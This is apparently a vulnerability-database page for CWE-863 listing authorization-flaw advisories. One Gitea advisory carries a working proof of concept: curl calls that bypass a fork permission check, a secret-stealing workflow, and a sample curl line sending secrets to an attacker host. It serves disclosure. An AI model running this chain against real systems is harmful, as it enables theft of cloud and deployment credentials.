CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5556 vulnerabilities reference this CWE, most recent first.
GHSA-FHF8-HVGJ-Q5VH
Vulnerability from github – Published: 2024-05-07 21:31 – Updated: 2024-07-03 18:39In multiple locations, there is a possible notification listener grant to an app running in the work profile due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-0043"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-07T21:15:08Z",
"severity": "HIGH"
},
"details": "In multiple locations, there is a possible notification listener grant to an app running in the work profile due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
"id": "GHSA-fhf8-hvgj-q5vh",
"modified": "2024-07-03T18:39:46Z",
"published": "2024-05-07T21:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0043"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/packages/modules/Permission/+/8141e8f4dd77b9f8fb485e23ddf028c57fcd4fca"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2024-05-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FHFF-R739-P363
Vulnerability from github – Published: 2024-07-25 06:30 – Updated: 2024-07-25 06:30In affected versions of Octopus Server under certain conditions, a user with specific role assignments can access restricted project artifacts.
{
"affected": [],
"aliases": [
"CVE-2024-4811"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-25T05:15:26Z",
"severity": "LOW"
},
"details": "In affected versions of Octopus Server under certain conditions, a user with specific role assignments can access restricted project artifacts.",
"id": "GHSA-fhff-r739-p363",
"modified": "2024-07-25T06:30:50Z",
"published": "2024-07-25T06:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4811"
},
{
"type": "WEB",
"url": "https://advisories.octopus.com/post/2024/sa2024-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FHHM-9QHH-G52W
Vulnerability from github – Published: 2023-04-27 03:30 – Updated: 2024-04-04 03:42An issue was discovered in the Hyundai Gen5W_L in-vehicle infotainment system AE_E_PE_EUR.S5W_L001.001.211214. The AppDMClient binary file, which is used during the firmware installation process, can be modified by an attacker to bypass the digital signature check of AppUpgrade and .lge.upgrade.xml files, which are used during the firmware installation process. This indirectly allows an attacker to use a custom version of AppUpgrade and .lge.upgrade.xml files.
{
"affected": [],
"aliases": [
"CVE-2023-26244"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-27T01:15:08Z",
"severity": "HIGH"
},
"details": "An issue was discovered in the Hyundai Gen5W_L in-vehicle infotainment system AE_E_PE_EUR.S5W_L001.001.211214. The AppDMClient binary file, which is used during the firmware installation process, can be modified by an attacker to bypass the digital signature check of AppUpgrade and .lge.upgrade.xml files, which are used during the firmware installation process. This indirectly allows an attacker to use a custom version of AppUpgrade and .lge.upgrade.xml files.",
"id": "GHSA-fhhm-9qhh-g52w",
"modified": "2024-04-04T03:42:31Z",
"published": "2023-04-27T03:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26244"
},
{
"type": "WEB",
"url": "https://sowhat.iit.cnr.it"
},
{
"type": "WEB",
"url": "https://sowhat.iit.cnr.it:8443/can-work/chimaera"
},
{
"type": "WEB",
"url": "https://sowhat.iit.cnr.it:8443/can-work/chimaera/-/blob/main/Report/IIT-01-2023.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FHJM-RPQJ-XM7M
Vulnerability from github – Published: 2026-07-02 15:32 – Updated: 2026-07-02 15:32A malicious actor with access to the network and under certain conditions could exploit an Incorrect Authorization vulnerability found in UniFi Network Application to persist privileges within UniFi Network Application after such access had been removed.
{
"affected": [],
"aliases": [
"CVE-2026-56842"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-02T15:17:07Z",
"severity": "HIGH"
},
"details": "A malicious actor with access to the network and under certain conditions could exploit an Incorrect Authorization vulnerability found in UniFi Network Application to persist privileges within UniFi Network Application after such access had been removed.",
"id": "GHSA-fhjm-rpqj-xm7m",
"modified": "2026-07-02T15:32:14Z",
"published": "2026-07-02T15:32:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56842"
},
{
"type": "WEB",
"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-066-066/984eceb3-49c8-4227-942d-671c289b3afc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FHMJ-JV7W-VVG2
Vulnerability from github – Published: 2023-06-23 00:30 – Updated: 2023-06-23 00:30Terraform Enterprise since v202207-1 did not properly implement authorization rules for agent pools, allowing the workspace to be targeted by unauthorized agents. This authorization flaw could potentially allow a workspace to access resources from a separate, higher-privileged workspace in the same organization that targeted an agent pool. This vulnerability, CVE-2023-3114, is fixed in Terraform Enterprise v202306-1.
{
"affected": [],
"aliases": [
"CVE-2023-3114"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-22T22:15:09Z",
"severity": null
},
"details": "Terraform Enterprise since v202207-1 did not properly implement authorization rules for agent pools, allowing the workspace to be targeted by unauthorized agents. This authorization flaw could potentially allow a workspace to access resources from a separate, higher-privileged workspace in the same organization that targeted an agent pool. This vulnerability, CVE-2023-3114, is fixed in Terraform Enterprise v202306-1.",
"id": "GHSA-fhmj-jv7w-vvg2",
"modified": "2023-06-23T00:30:20Z",
"published": "2023-06-23T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3114"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2023-18-terraform-enterprise-agent-pool-controls-allowed-unauthorized-workspaces-to-target-an-agent-pool/55329"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FHMX-CQXP-J8F6
Vulnerability from github – Published: 2023-12-05 03:30 – Updated: 2023-12-05 03:30Memory corruption in Automotive OS whenever untrusted apps try to access HAb for graphics functionalities.
{
"affected": [],
"aliases": [
"CVE-2023-33071"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-05T03:15:12Z",
"severity": "HIGH"
},
"details": "Memory corruption in Automotive OS whenever untrusted apps try to access HAb for graphics functionalities.",
"id": "GHSA-fhmx-cqxp-j8f6",
"modified": "2023-12-05T03:30:22Z",
"published": "2023-12-05T03:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33071"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/december-2023-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FHPV-Q3GG-MGM5
Vulnerability from github – Published: 2022-04-29 00:00 – Updated: 2022-05-10 00:00Lexmark products through 2022-02-10 have Incorrect Access Control.
{
"affected": [],
"aliases": [
"CVE-2022-24935"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-28T13:15:00Z",
"severity": "HIGH"
},
"details": "Lexmark products through 2022-02-10 have Incorrect Access Control.",
"id": "GHSA-fhpv-q3gg-mgm5",
"modified": "2022-05-10T00:00:37Z",
"published": "2022-04-29T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24935"
},
{
"type": "WEB",
"url": "https://lexmark.com"
},
{
"type": "WEB",
"url": "https://publications.lexmark.com/publications/security-alerts/CVE-2022-24935.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FHRQ-2VR4-F65R
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12Improper authorization in GitLab CE/EE affecting all versions since 13.0 allows guests in private projects to view CI/CD analytics
{
"affected": [],
"aliases": [
"CVE-2021-22247"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-25T19:15:00Z",
"severity": "MODERATE"
},
"details": "Improper authorization in GitLab CE/EE affecting all versions since 13.0 allows guests in private projects to view CI/CD analytics",
"id": "GHSA-fhrq-2vr4-f65r",
"modified": "2022-05-24T19:12:10Z",
"published": "2022-05-24T19:12:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22247"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1074326"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22247.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/299333"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FHX7-M96W-MV29
Vulnerability from github – Published: 2026-06-17 18:08 – Updated: 2026-06-17 18:08Summary
The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with can_create_org_repo=false — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.
Steps To Reproduce
1. Environment setup
Start a Gitea instance with Actions enabled:
# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
gitea:
image: gitea/gitea:1.23
container_name: gitea-poc
ports:
- "3000:3000"
volumes:
- gitea-data:/data
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__server__ROOT_URL=http://localhost:3000/
- GITEA__security__INSTALL_LOCK=true
- GITEA__actions__ENABLED=true
volumes:
gitea-data:
EOF
docker compose up -d
# Wait for startup
sleep 15
# Create admin user
docker exec -u git gitea-poc gitea admin user create \
--admin --username admin --password 'Admin1234!' \
--email admin@example.com --must-change-password=false
2. Create the target environment (as admin)
# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
-u "admin:Admin1234!" -H "Content-Type: application/json" \
-d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attacker123!","email":"attacker@example.com","must_change_password":false}'
# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"target-org","visibility":"public"}'
# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"source-repo","auto_init":true}'
# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
-H "Authorization: token $ADMIN_TOKEN"
# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
-H "Authorization: token $ADMIN_TOKEN"
# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"AKIAIOSFODNN7EXAMPLE"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'
3. Register an Actions runner
# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)
# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
-e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
-e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
-e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
-v /var/run/docker.sock:/var/run/docker.sock \
gitea/act_runner:latest
# Wait for runner registration
sleep 15
4. Verify attacker CANNOT create repos in the org (expected: 403)
# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
-u "attacker:Attacker123!" -H "Content-Type: application/json" \
-d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Try creating a repo directly — should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
-X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403
# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
"http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
-H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403
5. Exploit: Fork into the org via API (THE BYPASS)
# Fork the source repo into the org — this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"organization":"target-org","name":"evil-fork"}')
echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
# Fork created: target-org/evil-fork
# Permissions: admin=True, push=True
The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.
6. Enable Actions and push exfiltration workflow
# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"has_actions":true}'
# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
steal:
runs-on: ubuntu-latest
steps:
- name: Leak org secrets
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
run: |
echo "=== SECRET EXFILTRATION ==="
echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
echo "=== END EXFILTRATION ==="
WFEOF
)
curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"
7. Verify secret exfiltration
# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90
# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"
Expected output in the workflow logs:
=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===
All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).
Impact
A read-only organization member — with no repository creation rights (can_create_org_repo=false) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.
The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.
Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.
This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.
Supporting Material/References
- poc-fork-authz-bypass.zip — ZIP archive containing the full exploit script and README
- Vulnerable code — API fork handler (missing
CanCreateOrgRepocheck): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144 - Correct code — Web fork handler (has
CanCreateOrgRepocheck): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189 - Runner task assignment (matches on
owner_id): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248 - Secret injection (fetches by
Repo.OwnerID): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167 - Fork creator gets admin permissions: https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
- Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
- OWASP API Security Top 10 2023: API5 — Broken Function Level Authorization
- OWASP Top 10 2021: A01 — Broken Access Control
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22555"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T18:08:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member \u2014 in a team with `can_create_org_repo=false` \u2014 to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.\n\n## Steps To Reproduce\n\n### 1. Environment setup\n\nStart a Gitea instance with Actions enabled:\n\n```bash\n# docker-compose.yml\ncat \u003e docker-compose.yml \u003c\u003c \u0027EOF\u0027\nversion: \u00273\u0027\nservices:\n gitea:\n image: gitea/gitea:1.23\n container_name: gitea-poc\n ports:\n - \"3000:3000\"\n volumes:\n - gitea-data:/data\n environment:\n - GITEA__database__DB_TYPE=sqlite3\n - GITEA__server__ROOT_URL=http://localhost:3000/\n - GITEA__security__INSTALL_LOCK=true\n - GITEA__actions__ENABLED=true\nvolumes:\n gitea-data:\nEOF\n\ndocker compose up -d\n# Wait for startup\nsleep 15\n\n# Create admin user\ndocker exec -u git gitea-poc gitea admin user create \\\n --admin --username admin --password \u0027Admin1234!\u0027 \\\n --email admin@example.com --must-change-password=false\n```\n\n### 2. Create the target environment (as admin)\n\n```bash\n# Get admin token\nADMIN_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/admin/tokens\" \\\n -u \"admin:Admin1234!\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\": \"setup\", \"scopes\": [\"all\"]}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027sha1\u0027])\")\n\n# Create attacker user\ncurl -s -X POST \"http://localhost:3000/api/v1/admin/users\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"attacker\",\"password\":\"Attacker123!\",\"email\":\"attacker@example.com\",\"must_change_password\":false}\u0027\n\n# Create organization\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"target-org\",\"visibility\":\"public\"}\u0027\n\n# Create a source repository in the org\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"source-repo\",\"auto_init\":true}\u0027\n\n# Create a read-only team with can_create_org_repo=false\nTEAM_ID=$(curl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/teams\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"readonly-team\",\"permission\":\"read\",\"can_create_org_repo\":false,\"units\":[\"repo.code\",\"repo.issues\"]}\u0027 \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027id\u0027])\")\n\n# Add attacker to the read-only team\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker\" \\\n -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Add source-repo to the team so attacker can read it\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo\" \\\n -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Create organization secrets (simulating real CI/CD credentials)\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"data\":\"sk-live-test-deploy-key-1234567890abcd\"}\u0027\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"data\":\"AKIAIOSFODNN7EXAMPLE\"}\u0027\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"data\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"}\u0027\n```\n\n### 3. Register an Actions runner\n\n```bash\n# Get runner registration token\nREG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)\n\n# Start act_runner (adjust network name if needed)\nNETWORK=$(docker inspect gitea-poc --format \u0027{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}\u0027)\ndocker run -d --name act-runner --network \"$NETWORK\" \\\n -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \\\n -e GITEA_RUNNER_REGISTRATION_TOKEN=\"$REG_TOKEN\" \\\n -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \\\n -v /var/run/docker.sock:/var/run/docker.sock \\\n gitea/act_runner:latest\n\n# Wait for runner registration\nsleep 15\n```\n\n### 4. Verify attacker CANNOT create repos in the org (expected: 403)\n\n```bash\n# Get attacker token\nATTACKER_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/attacker/tokens\" \\\n -u \"attacker:Attacker123!\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\": \"poc\", \"scopes\": [\"all\"]}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027sha1\u0027])\")\n\n# Try creating a repo directly \u2014 should fail\ncurl -s -o /dev/null -w \"Direct repo creation: HTTP %{http_code}\\n\" \\\n -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"should-fail\",\"auto_init\":true}\u0027\n# Expected output: Direct repo creation: HTTP 403\n\n# Verify attacker cannot access org secrets via API\ncurl -s -o /dev/null -w \"Access org secrets: HTTP %{http_code}\\n\" \\\n \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\"\n# Expected output: Access org secrets: HTTP 403\n```\n\n### 5. Exploit: Fork into the org via API (THE BYPASS)\n\n```bash\n# Fork the source repo into the org \u2014 this should also fail but doesn\u0027t\nFORK_RESULT=$(curl -s -X POST \\\n \"http://localhost:3000/api/v1/repos/target-org/source-repo/forks\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"organization\":\"target-org\",\"name\":\"evil-fork\"}\u0027)\n\necho \"$FORK_RESULT\" | python3 -c \"\nimport sys,json\nd = json.load(sys.stdin)\nprint(f\u0027Fork created: {d[\\\"full_name\\\"]}\u0027)\nprint(f\u0027Permissions: admin={d[\\\"permissions\\\"][\\\"admin\\\"]}, push={d[\\\"permissions\\\"][\\\"push\\\"]}\u0027)\n\"\n# Expected output:\n# Fork created: target-org/evil-fork\n# Permissions: admin=True, push=True\n```\n\nThe attacker now has admin+push access to an org-owned repository, despite being in a team with `can_create_org_repo=false`.\n\n### 6. Enable Actions and push exfiltration workflow\n\n```bash\n# Enable Actions on the fork\ncurl -s -X PATCH \"http://localhost:3000/api/v1/repos/target-org/evil-fork\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"has_actions\":true}\u0027\n\n# Push a workflow that references org secrets\nWORKFLOW=$(cat \u003c\u003c \u0027WFEOF\u0027\nname: exfiltrate\non: [push]\njobs:\n steal:\n runs-on: ubuntu-latest\n steps:\n - name: Leak org secrets\n env:\n DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}\n AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}\n AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}\n run: |\n echo \"=== SECRET EXFILTRATION ===\"\n echo \"DEPLOY_KEY length: ${#DEPLOY_KEY}\"\n echo \"AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}\"\n echo \"AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}\"\n echo \"DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}...\"\n echo \"AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}...\"\n echo \"AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}...\"\n echo \"=== END EXFILTRATION ===\"\nWFEOF\n)\n\ncurl -s -X POST \\\n \"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml\" \\\n -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n -d \"{\\\"content\\\":\\\"$(echo -n \"$WORKFLOW\" | base64 -w0)\\\",\\\"message\\\":\\\"add CI\\\"}\"\n```\n\n### 7. Verify secret exfiltration\n\n```bash\n# Wait for the runner to execute the workflow (60-120 